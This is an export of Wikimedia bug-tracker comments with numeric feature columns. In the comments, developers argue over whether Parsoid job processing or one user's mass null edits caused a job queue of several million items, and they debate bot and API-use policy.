https://gerrit.wikimedia.org/r/86745",,,1380741132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9444444444444444,"Change 86745 merged by Faidon Liambotis:
Bug 54406: Speed up Parsoid job processing

GERRIT_URL"
252150,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #30)
> @MZMcBride: I think both the broader technical and the social issue have been
> discussed sufficiently now. From now on I am not going to discuss anything
> but the Parsoid job queue length in this bug.

I was repeatedly called out (by you and others) on this bug for causing the increased job queue length when there's no evidence this was the case.

(In reply to comment #32)
> (I'm removing myself from cc as we don't even manage to get a fact-based
> summary.)

I wish I could remove myself, but Bugzilla doesn't allow the reporter to be changed. :-(",,,1380581906,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,5.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,4.0,4.0,14.0,1.0,3.0,8.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.430379746835443,0.6582278481012658,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE

I was repeatedly called out (by you and others) on this bug for causing the increased job queue length when there's no evidence this was the case.

(In reply to comment #32)
QUOTE
QUOTE

I wish I could remove myself, but Bugzilla doesn't allow the reporter to be changed. :-("
252146,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Change 86745 had a related patch set uploaded by GWicke:
Bug 54406: Speed up Parsoid job processing

https://gerrit.wikimedia.org/r/86745",,,1380575437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,"Change 86745 had a related patch set uploaded by GWicke:
Bug 54406: Speed up Parsoid job processing

GERRIT_URL"
252143,Parsoid jobs are not dequeued fast enough during heavy editing activity,(I'm removing myself from cc as we don't even manage to get a fact-based summary.),,,1380569455,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,14.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,3.090909090909091,1.0,(I'm removing myself from cc as we don't even manage to get a fact-based summary.)
252140,Parsoid jobs are not dequeued fast enough during heavy editing activity,PS: There is no such thing as a global job queue. There are several independent queues which are stored on the same infrastructure and graphed as an aggregate.,,,1380568465,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,3.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,10.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.258064516129032,0.8709677419354839,PS: There is no such thing as a global job queue. There are several independent queues which are stored on the same infrastructure and graphed as an aggregate.
252136,Parsoid jobs are not dequeued fast enough during heavy editing activity,@MZMcBride: I think both the broader technical and the social issue have been discussed sufficiently now. From now on I am not going to discuss anything but the Parsoid job queue length in this bug. Please discuss other aspects elsewhere.,,,1380568375,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,0.0,2.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,14.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.545454545454546,0.8409090909090909,SCREEN_NAME: I think both the broader technical and the social issue have been discussed sufficiently now. From now on I am not going to discuss anything but the Parsoid job queue length in this bug. Please discuss other aspects elsewhere.
252132,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
> The main issue seems to be MZMcBride's null editing at a rate way beyond even
> bot edit limits.

It's difficult to look at these claims as being anything other than spurious. Attachment 13412 shows a continued increase in the global job queue (now exceeding 3.78 million jobs).

I'm restoring the original bug summary, which was most accurate: Parsoid is flooding the global job queue. Nobody seems to be particularly concerned with this, however, so it may make sense to mark this bug as resolved/worksforme.",,,1380568025,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0.0,1.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,4.0,12.0,2.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,2.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,1.0,9.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,0.0,4.0638297872340425,0.776595744680851,"(In reply to comment #3)
QUOTE
QUOTE

It's difficult to look at these claims as being anything other than spurious. Attachment 13412 shows a continued increase in the global job queue (now exceeding 3.78 million jobs).

I'm restoring the original bug summary, which was most accurate: Parsoid is flooding the global job queue. Nobody seems to be particularly concerned with this, however, so it may make sense to mark this bug as resolved/worksforme."
252125,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Created attachment 13412
Screenshot to accompany comment 3

**Attached**: {F11775}",,,1380567824,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.8421052631578947,"Created attachment 13412
Screenshot to accompany comment 3

**Attached**: {F11775}"
252118,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #23)
> Just curious - is there anything actionable that can possibly come out of
> this bug?

This bug was filed under the assumption that job queues shouldn't contain millions of jobs.

Gabriel seems to suggest throughout this bug report that the global job queue size is irrelevant (or rather, that he's apparently unconcerned with its size), so I'm not sure there is anything actionable here. This may be a wontfix.

(In reply to comment #21)
> For templates there is no way around the load this creates when they really
> need to be edited. I have a hard time seeing a similarly good reason for
> making 8 million null edits at a rate of ~4/second.

There are a lot of pages to edit. If we edited one page per minute and edited 31,000,000 pages, that would take approximately 58.9 years. Obviously we're going to have to go a bit faster than that.

Many pages have not been re-parsed or purged from cache in years (since 2005 for the oldest pages). This results in outdated or incorrect *links entries, stale HTML cache, etc., in addition to a number of lurking page text anomalies (incorrectly unsubstituted templates, incorrectly unexpanded user signatures, etc.). Null editing is built in to MediaWiki to address these issues on a per-page basis. You've yet to identify any issue with using this built-in feature.

Other than a global job queue that's already flooded, were there any issues from null editing that you (Gabriel) or anyone else has found? If so, I'd like to learn more so that I can understand and grow as a contributor.",,,1379977861,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,1.0,0.6666666666666666,0.0,1.0,1.0,5.333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,2.6666666666666665,1.6666666666666667,0.0,0.0,1.0,1.6666666666666667,0.0,5.0,14.666666666666666,0.6666666666666666,3.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,4.333333333333333,1.0,0.3333333333333333,2.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,17.333333333333332,1.6666666666666667,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,2.6666666666666665,8.666666666666666,2.6666666666666665,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.6666666666666666,5.0,0.0,2.0,0.0,3.0,14.666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,3.0,0.0,1.0,2.3333333333333335,0.0,1.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,3.8344158268010453,0.7114221724524076,"(In reply to comment #23)
QUOTE
QUOTE

This bug was filed under the assumption that job queues shouldn't contain millions of jobs.

Gabriel seems to suggest throughout this bug report that the global job queue size is irrelevant (or rather, that he's apparently unconcerned with its size), so I'm not sure there is anything actionable here. This may be a wontfix.

(In reply to comment #21)
QUOTE
QUOTE
QUOTE

There are a lot of pages to edit. If we edited one page per minute and edited 31,000,000 pages, that would take approximately 58.9 years. Obviously we're going to have to go a bit faster than that.

Many pages have not been re-parsed or purged from cache in years (since 2005 for the oldest pages). This results in outdated or incorrect *links entries, stale HTML cache, etc., in addition to a number of lurking page text anomalies (incorrectly unsubstituted templates, incorrectly unexpanded user signatures, etc.). Null editing is built in to MediaWiki to address these issues on a per-page basis. You've yet to identify any issue with using this built-in feature.

Other than a global job queue that's already flooded, were there any issues from null editing that you (Gabriel) or anyone else has found? If so, I'd like to learn more so that I can understand and grow as a contributor."
252112,Parsoid jobs are not dequeued fast enough during heavy editing activity,"@Yuvi: For the technical part, see comment #9. The social / DoS prevention issue is probably better discussed elsewhere.",,,1379920225,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.5,0.9583333333333334,"SCREEN_NAME: For the technical part, see comment #9. The social / DoS prevention issue is probably better discussed elsewhere."
252107,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #24)
> Yes! I'm hoping for a definition of ""what is the problem"" to actually come
> out
> of it. It may take a hundred more comments though, given the current speed
> we're approaching it at.

May I suggest using something that's not bugzilla for that purpose? I understand the need for clarity, but honestly a bugzilla ticket is probably not the best way to do it. A mailing list post, perhaps?",,,1379919819,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,8.0,3.0,3.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,0.0,3.6271186440677967,0.7457627118644068,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE

May I suggest using something that's not bugzilla for that purpose? I understand the need for clarity, but honestly a bugzilla ticket is probably not the best way to do it. A mailing list post, perhaps?"
252100,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #23)
> Just curious - is there anything actionable that can possibly come out of
> this
> bug?

Yes! I'm hoping for a definition of ""what is the problem"" to actually come out of it. It may take a hundred more comments though, given the current speed we're approaching it at.",,,1379919581,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,2.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,5.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,5.0,2.0,4.0,0.0,9.0,14.0,2.0,0.0,4.0,0.0,9.0,0.0,2.0,4.0,0.0,4.0,2.0,0.0,0.0,3.3392857142857144,0.8035714285714286,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE

Yes! I'm hoping for a definition of ""what is the problem"" to actually come out of it. It may take a hundred more comments though, given the current speed we're approaching it at."
252093,Parsoid jobs are not dequeued fast enough during heavy editing activity,Just curious - is there anything actionable that can possibly come out of this bug?,,,1379919308,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3125,1.0,Just curious - is there anything actionable that can possibly come out of this bug?
252088,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #21)
> Popular templates are protected for a reason, and editors don't edit them
> needlessly, as they know about the high load this causes. 
> 
> For templates there is no way around the load this creates when they really
> need to be edited. 

Ok, so people avoid things which cause overload but still in July we had about 2M additional job queue items. And it seems that's fine. What's not fine then, what is this bug about? Can we please identify the problem and the source of it? Otherwise I don't see how one can identify solutions.

> I have a hard time seeing a similarly good reason for
> making
> 8 million null edits at a rate of ~4/second. 

I'm having a hard time too. They are just speculations without answers to what above.

> Especially without talking to
> the
> people responsible for keeping the site running 

(This makes sense.)

> and in contravention of the
> bot
> policy.

Sigh. There isn't any contravention of the bot policy. The relevant local page is [[Wikipedia:Don't worry about performance]].
Hint: the policies or pseudo-policies you are looking for are on wikitech, e.g. [[wikitech:Robot policy]]. I don't remember which one precisely but there is one written by Tim which explicitly says ""if you're causing problems/bringing the site down we'll block you"", period.
In this case however, I still don't see what the problem is. Again, why is 2M not a problem but 3M yes?",,,1379919266,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,2.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,3.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,7.666666666666667,5.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,7.666666666666667,1.3333333333333333,0.6666666666666666,1.6666666666666667,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,14.666666666666666,0.6666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,3.3333333333333335,3.3333333333333335,14.0,1.0,2.0,6.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,2.6666666666666665,0.0,5.0,5.666666666666667,4.0,1.0,0.6666666666666666,0.0,5.0,0.0,3.3333333333333335,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,1.3333333333333333,3.47599923503538,0.7157678332377128,"(In reply to comment #21)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ok, so people avoid things which cause overload but still in July we had about 2M additional job queue items. And it seems that's fine. What's not fine then, what is this bug about? Can we please identify the problem and the source of it? Otherwise I don't see how one can identify solutions.

QUOTE
QUOTE
QUOTE

I'm having a hard time too. They are just speculations without answers to what above.

QUOTE
QUOTE
QUOTE

(This makes sense.)

QUOTE
QUOTE
QUOTE

Sigh. There isn't any contravention of the bot policy. The relevant local page is [[Wikipedia:Don't worry about performance]].
Hint: the policies or pseudo-policies you are looking for are on wikitech, e.g. [[wikitech:Robot policy]]. I don't remember which one precisely but there is one written by Tim which explicitly says ""if you're causing problems/bringing the site down we'll block you"", period.
In this case however, I still don't see what the problem is. Again, why is 2M not a problem but 3M yes?"
252082,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #20)
> Can you then explain why ""the
> second million was too much"", i.e. why reaching 2M job queue is in your
> opinion
> all fine and normal while 3 is something absolutely horrible and criminal?
> Thanks.

Popular templates are protected for a reason, and editors don't edit them needlessly, as they know about the high load this causes. 

For templates there is no way around the load this creates when they really need to be edited. I have a hard time seeing a similarly good reason for making 8 million null edits at a rate of ~4/second. Especially without talking to the people responsible for keeping the site running and in contravention of the bot policy.",,,1379918396,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,1.5,0.5,4.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,1.0,0.0,4.5,12.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,5.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,2.0,6.0,1.0,1.5,9.0,0.0,0.0,0.0,0.5,2.0,0.0,2.5,0.0,3.0,12.0,3.5,0.0,0.0,0.0,3.0,0.0,1.0,3.5,0.5,4.5,0.0,0.0,0.0,3.9474747474747476,0.7984848484848486,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Popular templates are protected for a reason, and editors don't edit them needlessly, as they know about the high load this causes. 

For templates there is no way around the load this creates when they really need to be edited. I have a hard time seeing a similarly good reason for making 8 million null edits at a rate of ~4/second. Especially without talking to the people responsible for keeping the site running and in contravention of the bot policy."
252075,Parsoid jobs are not dequeued fast enough during heavy editing activity,"I'm not sure how familiar you are with the actual writing and enacting of those social rules, but surely here nothing was done against them. The social rules in the various variations of the global [[m:Bot policy]] are not about performance; the speed limit is typically driven by users not wanting their Special:RecentChanges and Special:WatchList to be flooded, which in this case obviously didn't happen (so let's not even start debating what's an ""edit"").

Besides, I don't really have an answer yet to my question, though we're getting nearer; probably it would be faster if we avoided off-topic discussions on alleged abuse and similar stuff.

(In reply to comment #19)
> (In reply to comment #15)
> > I still see no answer about what the spike on July 29 was: are you saying it
> > wasn't about parsoid, but just a coincidence? Or that it was normal to queue
> > over a million jobs in a couple of days (initial caching of all pages or
> > something?) but the second million was too much?
> 
> Just editing a handful really popular templates (some are used in >7 million
> articles) can enqueue a lot of jobs (10 titles per job, so ~700k jobs). As
> can
> editing content at high rates. Core happens to cap the number of titles to
> re-render at 200k, while Parsoid re-renders all, albeit with a delay.

Thanks, so I guess the answer is the second. Can you then explain why ""the second million was too much"", i.e. why reaching 2M job queue is in your opinion all fine and normal while 3 is something absolutely horrible and criminal? Thanks.",,,1379916365,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1.0,0.3333333333333333,0.3333333333333333,1.0,2.0,7.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,2.0,1.3333333333333333,0.0,0.0,0.0,2.0,0.0,9.0,6.666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,9.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,3.6666666666666665,10.666666666666666,2.3333333333333335,2.3333333333333335,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,2.0,0.0,4.666666666666667,6.666666666666667,5.333333333333333,0.3333333333333333,1.6666666666666667,0.0,4.666666666666667,0.0,2.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,1.3333333333333333,3.7753301246451927,0.7407133160557818,"I'm not sure how familiar you are with the actual writing and enacting of those social rules, but surely here nothing was done against them. The social rules in the various variations of the global [[m:Bot policy]] are not about performance; the speed limit is typically driven by users not wanting their Special:RecentChanges and Special:WatchList to be flooded, which in this case obviously didn't happen (so let's not even start debating what's an ""edit"").

Besides, I don't really have an answer yet to my question, though we're getting nearer; probably it would be faster if we avoided off-topic discussions on alleged abuse and similar stuff.

(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks, so I guess the answer is the second. Can you then explain why ""the second million was too much"", i.e. why reaching 2M job queue is in your opinion all fine and normal while 3 is something absolutely horrible and criminal? Thanks."
252069,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #15)
> I still see no answer about what the spike on July 29 was: are you saying it
> wasn't about parsoid, but just a coincidence? Or that it was normal to queue
> over a million jobs in a couple of days (initial caching of all pages or
> something?) but the second million was too much?

Just editing a handful really popular templates (some are used in >7 million articles) can enqueue a lot of jobs (10 titles per job, so ~700k jobs). As can editing content at high rates. Core happens to cap the number of titles to re-render at 200k, while Parsoid re-renders all, albeit with a delay.

Ideally we'd prioritize direct edits over template updates as only the former has any performance impact. Editing a page with slightly out-of-date template rendering will still yield correct results. Longer-term our goal is to reduce API requests further so that we can run the Parsoid cluster at capacity without taking out the API.

And yes, I was referring to very straightforward social rules that are designed to prevent our users from overloading the site with expensive operations. We currently provide powerful API access that can easily be abused. If the attitude that everything that is not technically blocked must surely be ok becomes more popular we'll have to neuter those APIs significantly. Maybe it is actually time to technically enforce social rules more strictly, for example by automatically blocking abusers.",,,1379909439,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,2.6666666666666665,0.3333333333333333,8.666666666666666,13.333333333333334,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,15.666666666666666,0.3333333333333333,1.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,3.6666666666666665,3.0,7.666666666666667,2.3333333333333335,0.3333333333333333,5.0,0.0,0.0,0.0,0.3333333333333333,6.0,0.3333333333333333,1.3333333333333333,0.0,3.0,13.333333333333334,2.3333333333333335,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,1.3333333333333333,0.0,2.6666666666666665,1.3333333333333333,0.0,0.0